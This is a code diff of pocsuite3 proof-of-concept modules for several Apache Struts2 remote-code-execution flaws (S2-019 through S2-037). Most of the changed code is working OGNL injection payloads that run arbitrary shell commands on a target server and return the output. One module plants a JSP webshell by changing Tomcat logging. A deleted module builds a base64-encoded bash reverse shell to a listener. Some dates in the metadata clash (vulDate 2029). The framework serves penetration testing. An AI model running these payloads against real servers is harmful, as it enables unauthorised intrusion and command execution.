+ "URL": self.url,
+ "HTML": html.replace("\x00","").encode()
+ }
+ payload3 = exec_payload3.replace('CMD', quote(temp))
+ html = requests.get(self.url + "?" + payload3).text.lower()
+ if falg in html:
+ payload3 = exec_payload3.replace('CMD', quote(command))
+ html = requests.get(self.url + "?" + payload3).text
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "HTML": html.replace("\x00","").encode()
+ }
- payload2 = exec_payload2.format(cmd=quote(temp))
- html = requests.get(self.url + "?" + payload2).text.lower()
- if falg in html:
- payload2 = exec_payload2.format(cmd=quote(command))
- html = requests.get(self.url + "?" + payload2).text
- result["VerifyInfo"] = {
- "URL": self.url,
- "HTML": html
- }
- return result
- payload3 = exec_payload3.replace('CMD', quote(temp))
- html = requests.get(self.url + "?" + payload3).text.lower()
- if falg in html:
- payload3 = exec_payload3.replace('CMD', quote(command))
- html = requests.get(self.url + "?" + payload3).text
- result["VerifyInfo"] = {
- "URL": self.url,
- "HTML": html
- }
- return result
return self.parse_output(result)
def parse_output(self, result):
diff --git a/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py b/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
index f4aef32c..0f8307c9 100755
--- a/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
+++ b/pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
@@ -3,6 +3,7 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -10,52 +11,57 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
+ author = ['knownsec.com']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-019']
+ name = 'Apache Struts2 s2-019'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts 2.3.15.1'
+ vulType = VUL_TYPE.CODE_EXECUTION
desc = '''S2-019:影响版本Struts 2.0.0-2.3.15.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
def _options(self):
o = OrderedDict()
- o["command"] = OptString('', description="可执行的shell命令")
+ o["command"] = OptString('ls', description="可执行的shell命令")
return o
def _verify(self):
- result = {}
- exec_payload = "%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B{cmd}%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()"
+ p = self._check()
+ if p:
+ return self.parse_output(p)
- hash_md5 = random_str(5)
- cmd = "echo {};".format(hash_md5)
+ def _check(self):
+ result = {}
+ exec_payload = "%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'{cmd}'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()"
+ cmd = "id"
html = requests.get(
self.url + "?debug=command&expression={payload}".format(payload=exec_payload.format(cmd=quote(cmd)))).text
- if hash_md5 in html:
+ if "groups=" in html:
result["VerifyInfo"] = {
"URL": self.url,
}
- return self.parse_output(result)
+ return result
+ return False
def _attack(self):
+ p = self._verify()
result = {}
- exec_payload = "%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B{cmd}%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()"
-
- hash_md5 = random_str(5)
- cmd = "echo {}||{}".format(hash_md5, self.get_option("command"))
- html = requests.get(
- self.url + "?debug=command&expression={payload}".format(payload=exec_payload.format(cmd=quote(cmd)))).text
- if hash_md5 in html:
- result["VerifyInfo"] = {
- "URL": self.url,
- }
+ if p:
+ exec_payload = "%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'{cmd}'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()"
+ cmd = self.get_option("command")
+ html = requests.get(
+ self.url + "?debug=command&expression={payload}".format(payload=exec_payload.format(cmd=quote(cmd)))).text
+ if html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "result":html.replace("\x00","").encode()
+ }
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py b/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
index 69dc73dc..52cf0865 100755
--- a/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
+++ b/pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
@@ -6,6 +6,7 @@
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.utils import random_str
from requests.exceptions import ReadTimeout
import base64
@@ -21,13 +22,13 @@ class DemoPOC(POCBase):
author = ['']
vulDate = '2014-04-23'
createDate = '2014-04-23'
- updateDate = '2014-04-23'
- references = ['http://sec.baidu.com/index.php?research/detail/id/18']
- name = 'struts 2.3.16.1 代码执行漏洞 POC'
+ updateDate = '2023-12-21'
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-020']
+ name = 'Apache Struts2 s2-020'
appPowerLink = 'http://struts.apache.org/'
- appName = 'struts'
- appVersion = '2.3.16.1#'
- vulType = 'Code Execution'
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts 2.3.16.1'
+ vulType = VUL_TYPE.CODE_EXECUTION
desc = '''
'''
samples = []
@@ -44,8 +45,11 @@ def getLink(self, url):
rnt.append(item_url)
return rnt
-
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+ def _check(self):
result = {}
url = self.url
if url.endswith('.do') or url.endswith('.action'):
@@ -57,12 +61,12 @@ def _verify(self):
url_actions = [url]
for url_action in url_actions:
- directory_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.directory=webapps/ROOT"
+ directory_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.directory=webapps/manager"
prefix_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.prefix=S2_020"
suffix_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.suffix=.txt"
filedataformat_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.fileDateFormat=1"
- # cmd = url + 'aaaa.jsp?a=<%Runtime.getRuntime().exec("cmd /c dir");%>'
- shelljsp_url = urljoin(url_action, '/') + 'S2_0201.txt'
+ cmd = url_action + 'aaaa.jsp?a=<%Runtime.getRuntime().exec("ifconfig");%>'
+ shelljsp_url = urljoin(url_action, '/../../manager/') + 'S2_0201.txt'
try:
directory_request = requests.get(directory_url)
@@ -72,6 +76,8 @@ def _verify(self):
suffix_request = requests.get(suffix_url)
time.sleep(1)
filedataformat_request = requests.get(filedataformat_url)
+ time.sleep(1)
+ cmd_request = requests.get(cmd)
time.sleep(10)
shell_request = requests.get(shelljsp_url)
@@ -79,12 +85,16 @@ def _verify(self):
match = re.search('context.parent.pipeline.first.fileDateFormat=1', shell_content)
if match:
result['VerifyInfo'] = {}
- result['VerifyInfo']['URL'] = shelljsp_url
+ result['VerifyInfo']['status'] = "Upload Success!"
+ result['VerifyInfo']['shell_url'] = shelljsp_url
+ return result
except Exception as e:
logger.debug(str(e))
- return self.parse_output(result)
+ return False
+
+
def parse_output(self, result):
output = Output(self)
diff --git a/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py b/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
index e20639c1..557ba74a 100755
--- a/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
+++ b/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
@@ -3,6 +3,7 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -10,17 +11,17 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
+ author = ['knownsec.com']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-025']
+ name = 'Apache Struts2 s2-025'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
- desc = '''S2-devMode:影响版本Struts 2.1.0-2.3.1; GET请求发送数据'''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts Struts 2.3.16.3'
+ vulType = VUL_TYPE.CODE_EXECUTION
+ desc = '''S2-devMode:影响版本Struts 2.0.0 - Struts Struts 2.3.16.3'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -30,6 +31,10 @@ def _options(self):
return o
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+ def _check(self):
result = {}
headers = {
"Content-Type": 'application/x-www-form-urlencoded'
@@ -42,6 +47,24 @@ def _verify(self):
result["VerifyInfo"] = {
"URL": self.url,
}
+ return result
+ return False
+
+ def _attack(self):
+ p = self._check()
+ result = {}
+ if p:
+ headers = {
+ "Content-Type": 'application/x-www-form-urlencoded'
+ }
+ exec_payload = "?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command={cmd}"
+ cmd = self.get_option("command")
+ exec_payload = exec_payload.format(cmd=quote("{}".format(cmd)))
+ html = requests.get(self.url + exec_payload, headers=headers).text
+ if html:
+ result["VerifyInfo"] = {
+ "result": html.replace("\x00","").encode(),
+ }
return self.parse_output(result)
def parse_output(self, result):
diff --git a/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169_2.py b/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169_2.py
deleted file mode 100755
index 076ec226..00000000
--- a/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169_2.py
+++ /dev/null
@@ -1,69 +0,0 @@
-"""
-If you have issues about development, please read:
-https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
-for more about information, plz visit http://pocsuite.org
-"""
-from pocsuite3.api import Output, POCBase, register_poc, requests, logger
-from pocsuite3.api import get_listener_ip, get_listener_port
-from pocsuite3.api import REVERSE_PAYLOAD
-from pocsuite3.lib.utils import random_str
-from urllib.parse import quote
-from requests.exceptions import ReadTimeout
-import re
-import base64
-
-
-class DemoPOC(POCBase):
- vulID = '0917' # ssvid
- version = '1'
- author = ['']
- vulDate = '2012-01-08'
- createDate = '2013-03-26'
- updateDate = '2013-03-26'
- references = ['http://www.exploit-db.com/exploits/18329/']
- name = 'Struts 2.3.1 DebuggingInterceptor 命令执行漏洞'
- appPowerLink = 'http://struts.apache.org/'
- appName = 'struts'
- appVersion = '2.3.1#'
- vulType = 'Code Execution'
- desc = '''struts2(2.1.0 - 2.3.1)应用中配置不当时(以开发模式部署)有代码执行漏洞,攻击者可利用这个漏洞方便地部署webshell'''
- samples = []
- install_requires = ['']
-
- def _verify(self):
- result = {}
- # 获取绝对路径
- req_confirm = "debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=false,%23req%3D%40org.apache.struts2.ServletActionContext@getRequest%28%29,%23rep%3D%40org.apache.struts2.ServletActionContext@getResponse%28%29,%23rep.getWriter%28%29.println%28new%20java.lang.StringBuilder%28%22~~not_exist_in_html~~%22%29.append%28%23req.getRealPath%28%22%2F%22%29%29.append%28%22~3.1415621~%22%29.toString%28%29%29,%23rep.getWriter%28%29.flush()"
- url_request = self.url + "?" + req_confirm
- r = requests.get(url_request)
- page_content = r.text
- match = re.findall(r'''~~not_exist_in_html~~([c-nC-n]:\\.*?|/\w*?/.*?)~3.1415621''', page_content)
- if match:
- result['VerifyInfo'] = {}
- result['VerifyInfo']['URL'] = url_request
- result['VerifyInfo']['Path'] = match[0]
- return self.parse_output(result)
-
- def parse_output(self, result):
- output = Output(self)
- if result:
- output.success(result)
- else:
- output.fail('target is not vulnerable')
- return output
-
- def _attack(self):
- return self._verify()
-
- def _shell(self):
- cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
- # cmd = "bash -c 'sh -i >& /dev/tcp/docker.for.mac.localhost/888 0>&1'"
- cmd = base64.b64encode(cmd.encode())
- shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}".replace("SHELL", cmd.decode())
- exec_payload = "debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29.getInputStream%28%29%29)"
- exec_payload = exec_payload.format(cmd=shell)
- url_request = self.url + "?" + exec_payload
- requests.get(url_request)
-
-
-register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py b/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
index cc46d58b..607bc2c1 100755
--- a/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
+++ b/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
@@ -3,24 +3,25 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
-from pocsuite3.lib.utils import random_str
+from pocsuite3.lib.utils import random_str, get_middle_text
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
+ author = ['knownsec.com']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-029']
+ name = 'Apache Struts2 s2-029'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
- desc = '''S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell'''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts 2.3.24.1 (except 2.3.20.3)'
+ vulType = VUL_TYPE.CODE_EXECUTION
+ desc = '''S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); '''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -28,20 +29,41 @@ def _options(self):
o = OrderedDict()
o["command"] = OptString('', description="可执行的shell命令")
return o
-
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+
+ def _check(self):
result = {}
- exec_payload = "(%23_memberAccess%5B'allowPrivateAccess'%5D%3Dtrue%2C%23_memberAccess%5B'allowProtectedAccess'%5D%3Dtrue%2C%23_memberAccess%5B'excludedPackageNamePatterns'%5D%3D%23_memberAccess%5B'acceptProperties'%5D%2C%23_memberAccess%5B'excludedClasses'%5D%3D%23_memberAccess%5B'acceptProperties'%5D%2C%23_memberAccess%5B'allowPackageProtectedAccess'%5D%3Dtrue%2C%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()))"
+ exec_payload = "?message=(%23_memberAccess%5B'allowPrivateAccess'%5D=true,%23_memberAccess%5B'allowProtectedAccess'%5D=true,%23_memberAccess%5B'excludedPackageNamePatterns'%5D=%23_memberAccess%5B'acceptProperties'%5D,%23_memberAccess%5B'excludedClasses'%5D=%23_memberAccess%5B'acceptProperties'%5D,%23_memberAccess%5B'allowPackageProtectedAccess'%5D=true,%23_memberAccess%5B'allowStaticMethodAccess'%5D=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('{cmd}').getInputStream()))"
hash_md5 = random_str(5)
cmd = "echo {};".format(hash_md5)
-
html = requests.get(
- self.url + "?debug=command&expression={payload}".format(payload=exec_payload.format(cmd=quote(cmd)))).text
+ self.url + "{payload}".format(payload=exec_payload.format(cmd=quote(cmd)))).text
if hash_md5 in html:
result["VerifyInfo"] = {
"URL": self.url,
}
+ return result
+ return False
+
+ def _attack(self):
+ result = {}
+ p = self._check()
+ if p:
+ exec_payload = "?message=(%23_memberAccess%5B'allowPrivateAccess'%5D=true,%23_memberAccess%5B'allowProtectedAccess'%5D=true,%23_memberAccess%5B'excludedPackageNamePatterns'%5D=%23_memberAccess%5B'acceptProperties'%5D,%23_memberAccess%5B'excludedClasses'%5D=%23_memberAccess%5B'acceptProperties'%5D,%23_memberAccess%5B'allowPackageProtectedAccess'%5D=true,%23_memberAccess%5B'allowStaticMethodAccess'%5D=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('{cmd}').getInputStream()))"
+ cmd = self.get_option("command")
+ cmd = "{}".format(cmd)
+ html = requests.get(
+ self.url + "{payload}".format(payload=exec_payload.format(cmd=quote(cmd)))).text
+ result_cmd = get_middle_text(html,"value=\"","\"")
+ if html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "result":result_cmd.replace("\x00","").encode()
+ }
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
index d3757ad1..c7b53261 100755
--- a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
+++ b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
@@ -2,22 +2,23 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
+ author = ['knownsec.com']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-032']
+ name = 'Apache Struts2 s2-032'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)'
+ vulType = VUL_TYPE.CODE_EXECUTION
desc = '''S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3);'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -28,30 +29,34 @@ def _options(self):
return o
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+
+ def _check(self):
result = {}
check_poc = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086"
-
html = requests.get(self.url + "?" + check_poc).text
if '1008660253718' in html:
result["VerifyInfo"] = {
"URL": self.url,
"Html": html
}
-
- return self.parse_output(result)
+ return result
+ return False
def _attack(self):
result = {}
- exec_payload = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&cmd={cmd}&encoding=utf-8"
-
- cmd = self.get_option("command")
- req = requests.get(self.url + "?" + exec_payload.format(cmd=quote(cmd)))
- if req.status_code == 200:
- result["VerifyInfo"] = {
- "URL": self.url,
- "Content": req.text
- }
-
+ p = self._check()
+ if p:
+ exec_payload = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&cmd={cmd}&encoding=utf-8"
+ cmd = self.get_option("command")
+ req = requests.get(self.url + "?" + exec_payload.format(cmd=quote(cmd)))
+ if req.status_code == 200:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "Content": req.text.replace("\x00","").encode()
+ }
return self.parse_output(result)
def parse_output(self, result):
diff --git a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
index 0dfcf2b9..b80a7889 100755
--- a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
+++ b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
@@ -2,6 +2,7 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -9,16 +10,16 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
+ author = ['knownsec.com']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-033']
+ name = 'Apache Struts2 s2-033'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)'
+ vulType = VUL_TYPE.CODE_EXECUTION
desc = '''S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -29,31 +30,32 @@ def _options(self):
return o
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+ def _check(self):
result = {}
check_poc = "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]%2b602%2b53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086"
-
-
- hash_md5 = random_str(5)
- cmd = "echo {};".format(hash_md5)
- html = requests.get(self.url + "?" + check_poc).text
+ html = requests.get(self.url + "!" + check_poc).text
if '1008660253718' in html:
result["VerifyInfo"] = {
- "URL": self.url,
+ "URL": self.url
}
-
- return self.parse_output(result)
+ return result
+ return False
def _attack(self):
+ p = self._check()
result = {}
- exec_payload = "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command={cmd}"
-
- hash_md5 = random_str(5)
- cmd = self.get_option("command")
- html = requests.get(self.url + "?" + exec_payload.format(cmd=quote(cmd)))
- if hash_md5 in html:
- result["VerifyInfo"] = {
- "URL": self.url,
- }
+ if p:
+ exec_payload = "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command={cmd}"
+ cmd = self.get_option("command")
+ url = self.url + "!" + exec_payload.format(cmd=quote(cmd))
+ html = requests.get(self.url + "!" + exec_payload.format(cmd=quote(cmd)))
+ if html:
+ result["VerifyInfo"] = {
+ "result": html.text.replace("\x00","").encode(),
+ }
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py b/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
index e35000bd..ea4d9123 100755
--- a/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
+++ b/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
@@ -3,6 +3,7 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -10,17 +11,17 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
+ author = ['knownsec.com']
vulDate = '2029-5-8'
createDate = '2019-5-8'
updateDate = '2019-5-8'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-037']
+ name = 'Apache Struts2 s2-037'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
- desc = '''S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
